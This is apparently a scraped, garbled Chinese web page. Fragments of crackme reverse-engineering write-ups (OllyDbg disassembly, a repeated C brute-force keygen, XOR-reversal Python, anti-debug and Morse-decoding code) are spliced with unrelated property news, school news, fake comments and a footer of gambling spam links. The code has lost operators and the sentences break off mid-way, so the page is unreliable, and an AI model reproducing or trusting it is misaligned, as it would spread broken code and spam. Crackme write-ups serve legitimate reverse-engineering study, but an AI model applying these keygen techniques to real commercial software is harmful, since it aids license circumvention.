5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535也就是说PsExec是通过服务程序获得系统权限的。根据相同两个操作数异或为零的特性,只要其余十个字符成五对或全部相同即可忽略,于是可以快速得到几组key"","^^^^^^^^^^^","~~~~~~~~~~~""AABBCCDDEE","ABABCDCDEE"即只要是"","^","~"三个字符中的任意一个加上其他五对字符,位置任意,就是可行的key,这是其中一种解集。 ,unsignedchardata[156]={0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x07,0x04,0x08,0x08,0x04,0x08,0x09,0x04,0x08,0x01,0x04,0x08,0x02,0x04,0x08,0x03,0x04,0x08,0x04,0x04,0x08,0x05,0x04,0x08,0x06,0x04,0x08,0x00,0x00,0x00};在CALL00403910这个函数中验证,长度位0x9c,方式位高低字节减0x30分别与表中的每个元素的高低字节比较:找到数字对应关系,多输入几次试验下就出来了:  对于客户来说,未来雅居乐民森迪茵湖小镇有产业、有酒店、有休闲旅游,有人的地方就是价值爆发所在!  随着港珠澳大桥、深中通道2024年建成通车,届时深圳开车到中山市,将由现在的2小时缩减为20分钟;从雅居乐民森迪茵湖小镇前往深圳前海,竟然可以在1小时内抵达,这其中的潜在价值不言而喻。会议大获成功,受到了梆梆安全、腾讯安全、爱加密、几维安全、百度安全、硬土壳、金山毒霸(猎豹旗下品牌)、乐变技术、腾讯TSRC、Wifi万能钥匙、天特信息、360公司、江民科技、博文视点、华章图书、infoQ、雷锋网等数十家公司和媒体的大力支持和赞助,会场爆满。。在南京市龙江小学记者看到,低年级孩子的作业量也很少,除了阅读、积累年俗,还多了积累古诗、动手做家务做手工之类的,数学也只是简单的口算题每天20道。无论是正在蓬勃发展的十二个重点产业,还是正在谋划培育的陆、海、空3个未来的高新技术产业,都是值得重点投资的产业。。县领导向业顺、吕英、周传明等参加会议。城乡低保标准分别提高5%和8%以上,农村低保最低标准提高到每人每月430元。同时,常州建立了市、区两级执法主体的权力清单,实行执法权力下放。对此,我们绝不能麻木不仁,无所作为。。2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。深圳发展一路向西的轨迹,使宝安在近几年开始崛起。雅居乐民森迪茵湖小镇首推吸金7亿业绩,红动粤港澳!  温度再低也难敌购房者热情  1月13日,雅居乐民森迪茵湖小镇正式推售首期产品,吸引了近2000名广州、中山、深圳的客户前来现场抢购。  4、老区罗湖1月成交74套,环比增加%,为本月增幅最大区。其二,尽快修好道路。分科情况:数学、语文、英语、生物、历史、地理六科。完整的dump脚本本来想找个反编译工具的,结果一直找不到,最后看了看脚本中的字符串,发现xor,再对比一下输入输出,果然是xor.反推:1.根据输入的字符串,输出的结果,以及异或的过程和最终的对比结果,直接用python还原:#python3#输入字符串,长度不等于12则返回结果全为0inputN=mapzzzzzzz12#经过luajit运算之后的结果outN=[0x1d,0x4,0x14,0x13,0x3,0x4b,0x48,0x49,0x4e,0x4f,0x7,0x5]#C代码中异或的值cXorList=[0x5,0x12,0xa,0x29,0x42,0x41,0x75,0x61,0x35,0x83,0x55,0x94]#最终的比较结果cmpList=[0x18,0x16,0x1e,0x2f,0x48,0x11,0x21,0x37,0x33,0x86,0x52,0x94]#求luajit中异或的值luaXorList=[]#这个list中值为输入字符串之后应该输出的值needList=[]foriinrange(0,len(inputN)):tmp=cXorList[i]^cmpList[i]#print(hex(tmp))(tmp0xff)foriinrange(0,len(inputN)):tmp=ord(inputN[i])^outN[i]#print(hex(tmp))(tmp0xff)strRet=foriinrange(0,len(inputN)):tmp=luaXorList[i]^needList[i]#print(hex(tmp))strRet+=chr(tmp)print(strRet)求输入字符串。。住宿情况:无住宿,走读。,这题比较简单,OD载入,代码窗口很容易找到:0040112B|.66:81BC242C010000EAcmpwordptrss:[],3EA事例111(WM_COMMAND)|.0F855B010000jne004012960040113B|.884C2420movss:[],cl0040113F|.B93F000000movecx,3F00401144|.33C0xoreax,eax00401146|.8D7C2421leaedi,[+1]0040114A|.F3:ABrepstosdwordptres:[edi]0040114C|.8BB42424010000movesi,ss:[]00401153|.8B1DA0504000movebx,ds:[&]00401159|.66:ABstoswordptres:[edi]0040115B|.8D442420leaeax,[]0040115F|.BF01000000movedi,100401164|.50pusheax/lParam=|.68FF000000push0FF|wParam=|.6A0Dpush0D|Msg=WM_GETTEXT0040116C|.68E9030000push3E9|/ItemID=|.56pushesi||hDialog=[]00401172|.FFD3callebx|\|.8B2DA4504000movebp,ds:[&]|0040117A|.50pusheax|hWnd0040117B|.FFD5callebp\|.33C9xorecx,ecx0040117F|.85C0testeax,eax00401181|.7617jbeshort0040119A00401183|8A540C20/movdl,ss:[ecx+esp+20]00401187|.80FA30|cmpdl,30//注册码全是数字0040118A|.7C0C|jlshort004011980040118C|.80FA39|cmpdl,390040118F|.7F07|jgshort0040119800401191|.41|incecx00401192|.3BC8|cmpecx,eax00401194|.^72ED\jbshort0040118300401196|.EB02jmpshort0040119A00401198|33FFxoredi,edi0040119A|83F806cmpeax,6//长度必须是60040119D|.7556jneshort004011F50040119F|.85FFtestedi,edi004011A1|.7452jzshort004011F5004011A3|.8D4C2420leaecx,[]004011A7|.50pusheax/Arg2004011A8|.51pushecx|Arg1=|.E852FEFFFFcall00401000\,//调用解码函数,对00406030的代码解码004011AE|.83C408addesp,8004011B1|.E80AFFFFFFcall004010C0//调用函数对解码后的内容进行和校验,正确返回1004011B6|.85C0testeax,eax004011B8|.742Cjzshort004011E6004011BA|.6A00push0//校验正确,调用解码后的函数提示成功004011BC|.68E9030000push3E9004011C1|.56pushesi004011C2|.FFD3callebx004011C4|.8B3DA8504000movedi,ds:[&]004011CA|.50pusheax|hWnd004011CB|.FFD7calledi\|.6A00push0004011CF|.68EA030000push3EA004011D4|.56pushesi004011D5|.FFD3callebx004011D7|.50pusheax004011D8|.FFD7calledi004011DA|.55pushebp004011DB|.56pushesi004011DC|.BA30604000movedx,offset00406030入口点004011E1|.FFD2calledx004011E3|.83C408addesp,8004011E6|8D442420leaeax,[]004011EA|.6A06push6/Arg2=6004011EC|.50pusheax|Arg1004011ED|.E80EFEFFFFcall00401000\,//再次调用解码函数恢复原来的数据004011F2|.83C408addesp,8004011F5|5Fpopedi默认情况下|.5Epopesi004011F7|.5Dpopebp004011F8|.33C0xoreax,eax004011FA|.5Bpopebx004011FB|.81C410010000addesp,11000401201|.C21000retn1000401000/$81EC08010000subesp,108//解码函数00401006|.53pushebx00401007|.55pushebp00401008|.56pushesi00401009|.57pushedi0040100A|.33D2xoredx,edx0040100C|.B93F000000movecx,3F00401011|.33C0xoreax,eax00401013|.8D7C2419leaedi,[+1]00401017|.88542418movss:[],dl0040101B|.F3:ABrepstosdwordptres:[edi]0040101D|.66:ABstoswordptres:[edi]0040101F|.AAstosbyteptres:[edi]00401020|.8D7C2418leaedi,[]00401024|.33C0xoreax,eax00401026|88440418/movss:[eax+esp+18],al0040102A|.40|inceax0040102B|.3D00010000|cmpeax,10000401030|.^7CF4\jlshort0040102600401032|.8BAC2420010000movebp,ss:[]00401039|.33C0xoreax,eax0040103B|.C744241000010000movdwordptrss:[],10000401043|8BB4241C010000/movesi,ss:[]0040104A|.8A0F|movcl,ds:[edi]0040104C|.8A1C30|movbl,ds:[esi+eax]0040104F|.02D9|addbl,cl00401051|.02D3|adddl,bl00401053|.40|inceax00401054|.88542414|movss:[],dl00401058|.8B742414|movesi,ss:[]0040105C|.81E6FF000000|andesi,000000FF00401062|.3BC5|cmpeax,ebp00401064|.8A5C3418|movbl,ss:[esi+esp+18]00401068|.8D743418|leaesi,[esi+esp+18]0040106C|.881F|movds:[edi],bl0040106E|.880E|movds:[esi],cl00401070|.7502|jneshort0040107400401072|.33C0|xoreax,eax00401074|8B4C2410|movecx,ss:[]00401078|.47|incedi00401079|.49|dececx0040107A|.894C2410|movss:[],ecx0040107E|.^75C3\jnzshort0040104300401080|.33C0xoreax,eax00401082|.8D8C2417010000leaecx,[+3]00401089|8A540418/movdl,ss:[eax+esp+18]0040108D|.8A19|movbl,ds:[ecx]0040108F|.02D3|adddl,bl00401091|.8A9830604000|movbl,ds:[eax+406030]00401097|.32DA|xorbl,dl00401099|.889830604000|movds:[eax+406030],bl0040109F|.40|inceax004010A0|.49|dececx004010A1|.3D80000000|cmpeax,80004010A6|.^7CE1\jlshort00401089004010A8|.5Fpopedi004010A9|.5Epopesi004010AA|.5Dpopebp004010AB|.5Bpopebx004010AC|.81C408010000addesp,108004010B2\.C3retn004010C0/$56pushesi//求和校验004010C1|.57pushedi004010C2|.33FFxoredi,edi004010C4|.33F6xoresi,esi004010C6|.33C9xorecx,ecx004010C8|33C0/xoreax,eax004010CA|.8A8130604000|moval,ds:[ecx+406030]004010D0|.99|cdq004010D1|.03F8|addedi,eax004010D3|.13F2|adcesi,edx004010D5|.41|incecx004010D6|.81F980000000|cmpecx,80004010DC|.^7CEA\jlshort004010C8004010DE|.81FF79290000cmpedi,2979//求和必须为0x2979004010E4|.750Cjneshort004010F2004010E6|.85F6testesi,esi004010E8|.7508jnzshort004010F2004010EA|.5Fpopedi004010EB|.B801000000moveax,1004010F0|.5Epopesi004010F1|.C3retn004010F2|5Fpopedi004010F3|.33C0xoreax,eax004010F5|.5Epopesi004010F6\.C3retn根据对上面的解码函数和校验函数分析,写出下面的代码暴力破解,从000000到999999扫描:boolkeyGen(){BYTEbuf1[0x80]={0xF4,0x12,0x9D,0x60,0x45,0xF8,0x20,0x6A,0x6F,0x67,0x04,0x71,0xC0,0x9B,0x0C,0x5A,0x1D,0x18,0x6C,0x96,0x69,0x01,0x1C,0xF4,0x7F,0x28,0x5A,0xFB,0x29,0x07,0x40,0x8B,0xD3,0xE1,0xB1,0x12,0xFB,0xCA,0x7C,0x89,0xB9,0x5A,0x30,0x70,0x9D,0x95,0x2B,0x95,0x3C,0x8D,0x2E,0x45,0xEF,0x70,0xC6,0xA3,0xB9,0xB2,0x5A,0x63,0x5F,0x03,0x33,0xB8,0x64,0x4A,0x8F,0xBC,0xF7,0x91,0x69,0x6A,0x56,0x2E,0xD4,0x6E,0x82,0x93,0xE9,0x76,0xDC,0xA3,0x6C,0x5E,0x6B,0x72,0x64,0x37,0xE7,0x15,0x17,0xAC,0x64,0x78,0xD5,0x4A,0x60,0x2D,0xF0,0x54,0xA6,0xF3,0xE8,0xE0,0xE0,0xB9,0x8F,0x85,0x90,0xE4,0xEA,0xD6,0xBB,0xB7,0x15,0x9E,0x2A,0x44,0xE7,0x31,0x63,0xAC,0x80,0x6C,0x34,0x82,0xE9,0xCF};DWORDmagic=0x2979;DWORDsum;BYTEbuf2[0x100];intidx;charsSN[7];intsn;for(sn=0sn1000000sn++){sprintf(sSN,"%06d",sn);for(idx=0idx0x100idx++){buf2[idx]=idx;}BYTEc=0;for(idx=0idx0x100idx++){BYTEc2=buf2[idx];c+=(BYTE)sSN[idx%6]+c2;buf2[idx]=buf2[c];buf2[c]=c2;}sum=0;for(idx=0idx0x80idx++){c=(buf2[idx]+buf2[0xff-idx])^buf1[idx];sum+=c;if(summagic){//大于就退出,不再浪费时间break;}}if(sum==magic){//等于,找到OutputDebugString(sSN);break;}}if(sn=1000000){OutputDebugString("未找到!");returnfalse;}returntrue;}很快能计算出结果:771535,(取样为32栋2层1号房)109㎡户型图  127㎡户型在32栋的3、4号房,共62套房源,价格区间为万/㎡。//这个流程也不复杂假设输入的字符串为string_base64_encode经过两次解码string=base64_decode(base64_decode(string_base64_encode))然后在trans_42D96A(v14,(int)v13,1024);中做类似摩斯电码解码的操作int__cdeclsub_435DE0(char*a1,inta2,inta3){intresult;//eaxcharv4;//[esp+D3h][ebp-4Dh]intv5;//[esp+DCh][ebp-44h]intv6;//[esp+E8h][ebp-38h]intv7;//[esp+F4h][ebp-2Ch]intv8_i;//[esp+100h][ebp-20h]void*v9_buf_9;//[esp+10Ch][ebp-14h]intv10;//[esp+118h][ebp-8h]v10=0;v9_buf_9=sub_42DE38();v8_i=0;v7=0;v6=0;v4=42;j__memset(v9_buf_9,*,8u);v5=j__strlen(a1);while(1){result=v8_i;if(v8_i=v5)break;if(v6a3)returnj__printf("thestringbufferistoolittle");v10=0;//一堆反调试////一堆反调试v10=sub_42D23F();if(v10==1)sub_42E086();v10=sub_42D334();if(v10==1)sub_42E086();v10=0;v10=sub_42DD66();if(v10==1)sub_42E086();v10=0;v10=sub_42D92E();if(v10==1)sub_42E086();v10=0;v10=sub_42DF7D();if(v10==1)sub_42E086();v10=0;v10=sub_42E31F();if(v10==1)sub_42E086();if(a1[v8_i]==||a1[v8_i]==/){if(a1[v8_i]!=||a1[v8_i-1]==/){if(a1[v8_i]==/)*(_BYTE*)(v6+++a2)=;}else{if(j_trans_char_435D00((int)v9_buf_9,(int)v4)!=1||v7=5){if(j_trans_num_435AA0((int)v9_buf_9,(int)v4)==1){*(_BYTE*)(v6+++a2)=v4;}elseif(sub_42E414((int)v9_buf_9,(int)v4)==1)//转换特殊符号{*(_BYTE*)(v6+++a2)=v4;}else{j__printf("error!");}}else{*(_BYTE*)(v6+++a2)=v4;}v7=0;j__memset(v9_buf_9,42,8u);}}else{*((_BYTE*)v9_buf_9+v7++)=a1[v8_i];}++v8_i;}returnresult;}三个函数分别转换数字字母特殊符号两个电码之间以空格字符或者/分割。为模式,字节独立加密。五、大合照,留下最美好的回忆1、本场活动只限25组,一个用户名两人起报,最多可报四人(家有两小孩需分开账号报名),一组一份手工材料、电影卡和红包按到场人数算;2、请认真填写报名表资料,请合理安排出行时间,活动前会有客服电话通知;如需取消请提前在“咚咚活动中心”群组或者微信群里告知管理员,请勿临时取消,以免占用名额;3、为了保证活动质量,本次参加活动的小朋友需年满4岁,包括4岁,才可参加活动;4、本次活动提供大巴,座位有限,请勿随意空降,自驾前往的2点到达即可;5、全程活动无需缴纳任何费用。,  竞得人应按其所竞面积建设人才住房。    有人说,年味淡了;有人说,怀念从前。海南是对外交往的一片热土,真诚地向世界各国张开双臂。。

阅读(78) | 评论(650) | 转发(659) |

上一篇:www.vnsr356.com

下一篇:www.wnsr366.com

给主人留下些什么吧!~~

马玉娜2018-4-27

碧虚2018安全开发者峰会是由拥有18年悠久历史的老牌安全技术社区——看雪学院举办,会议面向开发者、安全人员及高端技术从业人员,是国内开发者与安全人才的年度盛事。

其实就是对输入分别与下面这一串异或,返回结果。  (2)滨海湾新区对接粤港澳大湾区的门户  10月12日,滨海湾新区正式挂牌,面积扩容至平方公里。。(cpu:i7-6700k)最终结果是su1986(cpu:i7-6700k)最终结果是su1986,其实就是对输入分别与下面这一串异或,返回结果。。

赵成侯2018-4-27 12:32:10

建立健全广告审查制度,配备广告审查员,未经广告审查员审查的广告不予发布。,据悉,其二期产品即将入市,规模比一期略大,容积率指标更优,规划有8栋住宅楼,甚至包括目前深圳楼市极为罕见的小高层,将提供超过1300套住宅,约65-78㎡的单位占比高达78%。。    项目分三期开发,其中一二期总建面约126万平,集海幕名邸、服务式公寓、300m超甲级写字楼、精品酒店、16万平ShoppingMall&主题商业街区等多元复合业态为一体。。

露易斯2018-4-27 12:32:10

sm3_42DA78(v14,3u,(int)v11);这个函数根据下边函数里的初始值很容易搜到是国密算法sm3int__cdeclsub_436700(_DWORD*a1){intresult;//eax*a1=0;a1[1]=0;a1[2]=0x7380166F;a1[3]=0x4914B2B9;a1[4]=0x172442D7;a1[5]=0xDA8A0600;a1[6]=0xA96F30BC;a1[7]=0x163138AA;a1[8]=0xE38DEE4D;a1[9]=0xB0FB0E4E;if(sub_42DA7D()==1)sub_42E086();sub_42D389();if(sub_42D807()==1)sub_42E086();result=sub_42D39D();if(result==1)sub_42E086();returnresult;}主要是计算解码后的字符串的sm3值。,Hi_2HexTo1Bin_Xor0x86_sub_402E20Hi_AFX_MODULE_THREAD_STATE_ctor_sub_4066D2Hi_AFX_THREAD_STATE_ctor_sub_405F63Hi_AfxGetStringManagerHi_CStr_Mid_sPos_chSize_sub_404160Hi_CStr_dotr_sub_402C70Hi_CStr_getLen_sub_4029D0Hi_DecExpand_sub_403650Hi_IDDlg_2_hWnd_sub_417026Hi_InP2DlgID_OutP3text_sub_416F7AHi_P1_EQ_EcxLeftNStr_sub_404210Hi_P2CStr_spliteAt5_to_ecx2CStrA1A2_retA2_sub_402D30Hi_RaiseException_sub_405F15Hi_afxstr_ecx_eq_p1_sub_404830Hi_bastr_ecx_eq_P1lpsz_P2len_sub_401EE0Hi_bastr_trim_sub_412460Hi_bstrReserve_sub_416A1DHi_checkKey1_or_expandKey_sub_403230Hi_check_key1_sub_403510Hi_chset_index_sub_4043C0Hi_ecxCStr_eq_P1CStr_sub_4048C0Hi_extract_key1_sub_4032C0Hi_free_sub_4AEF5FHi_getCStrPtr_sub_404280Hi_getEditText_sub_403B60Hi_getNilString_sub_4050C2Hi_getThis_sub_402080Hi_get_AFX_THREAD_STATE_sub_416D28Hi_keyMsgMap_sub_4151F8Hi_malloc_sub_404B6BHi_malloc_sub_404F1FHi_memset_ecx_0_cbSizeP1_sub_402620Hi_realloc_sub_405198。15:33分:仅11号出价,最后有人才安居集团以亿拿下宝龙地块。。

康国花2018-4-27 12:32:10

还是那句话,这年头握着硬邦邦的钱,比啥都强。,两宗地的土地使用年限均为70年。。15:18分:开始竞人才住房面积,1000平无人应、6号200平、3号400平、6号600平、3号800平、6号1000平。。

杨梦圆2018-4-27 12:32:10

由此可见,对于邦兆地产而言,凯旋TRC是一个有着重要战略意义的项目,同时,对于布吉整个片区,凯旋TRC又发挥着标杆典范的作用。,文件强调,坚持农业农村优先发展。。者:(编程解码)(动态调试)骤:代码,定位主要流程。。

李志勇2018-4-27 12:32:10

剩下的工作就是写代码验证而已了(其实以上是研究的思维过程,实际中最快的方法应该是看HideOD中的UnhandleExceptionFilter得到提示)。,。。接受第一财经采访时,禹洲地产董事局主席林龙安表示看好粤港澳大湾区的发展,在集团战略层面,将粤港澳大湾区定位为收入贡献的第二大城市群,第一大是长三角城市群。。

评论热议
请登录后评论。

登录 注册

赌博游戏 真钱21点 百家乐玩法 博彩公司大全 赌博技巧 真钱麻将
澳门威尼斯娱乐官方网站 www.cj805.com 百家乐电子游戏 www.555721.com www.hg1998.com www.tjy588.com
www.bjbh.net www.sun368.com www.js5535.com 真钱麻将 www.hg2252.com www.139555.com
www.vnsr7575.com www.ccrr22.com www.644099.com www.78288.com www.xn--fjq4fp6y1ncjsw.com www.vnsr3300.com